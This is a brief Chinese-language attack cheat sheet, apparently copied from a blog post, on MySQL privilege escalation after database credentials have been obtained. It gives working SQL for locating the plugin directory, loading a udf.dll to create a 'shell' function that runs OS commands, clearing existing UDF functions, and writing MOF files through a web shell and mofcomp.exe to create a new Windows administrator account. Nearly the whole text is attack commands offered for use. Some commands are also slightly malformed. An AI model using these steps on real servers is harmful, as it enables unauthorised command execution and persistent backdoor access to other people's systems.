在拿到数据库账号密码后,查看用户权限,本地路径,版本信息
select user(); select @@basedir; select version();
select @@plugin_dir ; #查询到MySQL的plugin位置
# mysql版本<5.1,UDF导出到系统目录C:/windows/system32/ 如Windows2003放到c:\windows\system32
# mysql版本>5.1,UDF导出到安装路径:Windows在MySQL\Lib\Plugin\(Plugin默认不存在,需自建) Linux则在/usr/lib/mysql/plugin下
show global variables like ‘%secure%‘;
# mysql版本<5.5.53 , secure_file_priv 默认为空
# mysql版本>=5.5.53 ,secure_file_priv 默认为null
0X02 创建函数
将udf.dll脚本上传至指定目录后执行命令
CREATE FUNCTION shell RETURNS string SONAME ‘udf.dll‘; # 创建函数SELECT shell(‘cmd‘,‘whoami‘); #执行命令
脚本链接 https://github.com/f1tz/UDF
如果遇到Function sys_eval already exists问题,执行以下语句
DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS shell;
DROP FUNCTION IF EXISTS cmd;
select * from mysql.plugin;
delete from mysql.plugin;
连接菜刀,上传两个mof文件Adduser.mof,Addtoadmin.mof至C:windows/system32/wbem/mof/
select load_file(C:/wmpub/nullevt.mof) into dumpfile ‘c:/windows/system32/wbem/mof/nulevt.mof‘
虚拟终端进入此目录下,执行命令:mofcomp.exe Adduser.mof 等待数秒后net user 查看用户是否添加成功,再执行mofcomp.exe Addtoadmin.mof 等待数秒后 net user 用户名 查看是否添加到administrators组中
原文:https://www.cnblogs.com/sup3rman/p/12315538.html